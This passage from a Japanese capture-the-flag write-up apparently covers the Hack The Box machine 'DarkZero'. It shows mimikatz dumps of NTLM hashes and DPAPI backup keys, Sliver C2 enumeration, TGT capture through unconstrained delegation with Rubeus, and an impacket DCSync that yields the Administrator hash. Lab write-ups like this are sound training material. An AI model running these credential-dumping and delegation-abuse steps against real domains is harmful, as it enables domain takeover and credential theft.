deab70f357c715bce05dd54cc63ea2f28a1f3ed2ad73145e99a706585c1db92b


Object RDN           : BCKUPKEY_P Secret

Link to key with GUID: {429d937f-1b7f-450b-99a4-7a7651e2022d} (not an object GUID)

Object RDN           : BCKUPKEY_d7ed47d7-2784-474d-b558-57eedf2f206e Secret

  * RSA key
	|Provider name : Microsoft Strong Cryptographic Provider
	|Unique name   : 
	|Implementation: CRYPT_IMPL_SOFTWARE ; 
	Algorithm      : CALG_RSA_KEYX
	Key size       : 2048 (0x00000800)
	Key permissions: 0000003f ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_EXPORT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
	Exportable key : YES

Object RDN           : BCKUPKEY_PREFERRED Secret

Link to key with GUID: {d7ed47d7-2784-474d-b558-57eedf2f206e} (not an object GUID)

Object RDN           : darkzero.htb


Object RDN           : darkzero$

** SAM ACCOUNT **

SAM Username         : darkzero$
User Account Control : 00000820 ( PASSWD_NOTREQD INTERDOMAIN_TRUST_ACCOUNT )
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-1105
Object Relative ID   : 1105

Credentials:
  Hash NTLM: 4276fdf209008f4988fa8c33d65a2f94

Object RDN           : Configuration


Object RDN           : DomainDnsZones


Object RDN           : ForestDnsZones


Object RDN           : DC02

** SAM ACCOUNT **

SAM Username         : DC02$
User Account Control : 00082000 ( SERVER_TRUST_ACCOUNT TRUSTED_FOR_DELEGATION )
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-1000
Object Relative ID   : 1000

Credentials:
  Hash NTLM: 663a13eb19800202721db4225eadc38e

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 6963aad8ba1150192f3ca6341355eb49

Object RDN           : svc_sql

** SAM ACCOUNT **

SAM Username         : svc_sql
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Object Security ID   : S-1-5-21-1969715525-31638512-2552845157-1103
Object Relative ID   : 1103

Credentials:
  Hash NTLM: 816ccb849956b531db139346751db65f

mimikatz(commandline) # exit
Bye!

krbtgtのハッシュやDC02$のハッシュを取ったのでドメイン間の横移動がある程度やりやすそう。
ここからはドメイントラストの悪用でよくやるテクニックを使っていく。

ラテラルムーブメント

情報収集

[server] sliver (mybe) > execute -o powershell $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest(); $Forest.Domains

[*] Output:


Forest                  : darkzero.ext
DomainControllers       : {DC02.darkzero.ext}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : 
PdcRoleOwner            : DC02.darkzero.ext
RidRoleOwner            : DC02.darkzero.ext
InfrastructureRoleOwner : DC02.darkzero.ext
Name                    : darkzero.ext




[server] sliver (mybe) >  

直では組んでない?

Abuse Unconstrained Delegation

ドメコンのSYSTEM権限取れてるならUnconstrained DelegationでDC01$のTGTを搾取してしまってDCsyncへ繋げるやり方を試してみる。
DCは基本的にUnconstrained Delegationを持っていることが普通なのでDC01からDC02に認証を強制させることによってTGTを見てしまおうといったTrust Abuseでは常套手段だ。

というわけで以下のコマンドでチケットを監視しようとしたら既にDC01$のチケットがあった。

PS C:\Windows\Temp> Rubeus.exe monitor /interval:5 /nowrap

そのままチケットを悪用する。

チケットをガチャガチャ変換する。

┌──(kali㉿kali)-[~]
└─$ echo "doIFjDCCBY....." | base64 -d > ticket.kirbi
                                                                                                                       
┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter ticket.kirbi tgt.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done

後はDCSyncしてやればいい。

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=tgt.ccache impacket-secretsdump -k -no-pass DARKZERO.HTB/'DC01$'@DC01.DARKZERO.HTB -just-dc-user Administrator -just-dc-ntlm
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
[*] Cleaning up...

スクリーンショット 2025-10-15 225109.png

これでフラグゲット!!!一気に2つのフラグゲットとなった。

まとめ

image.png

別ドメインの横移動を練習できるBOXはあまりないのでとても勉強になりました。
Hardにしてはまだいい塩梅で攻略できる比較的易しめの問題かなといった印象でした(エスパーがない)

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?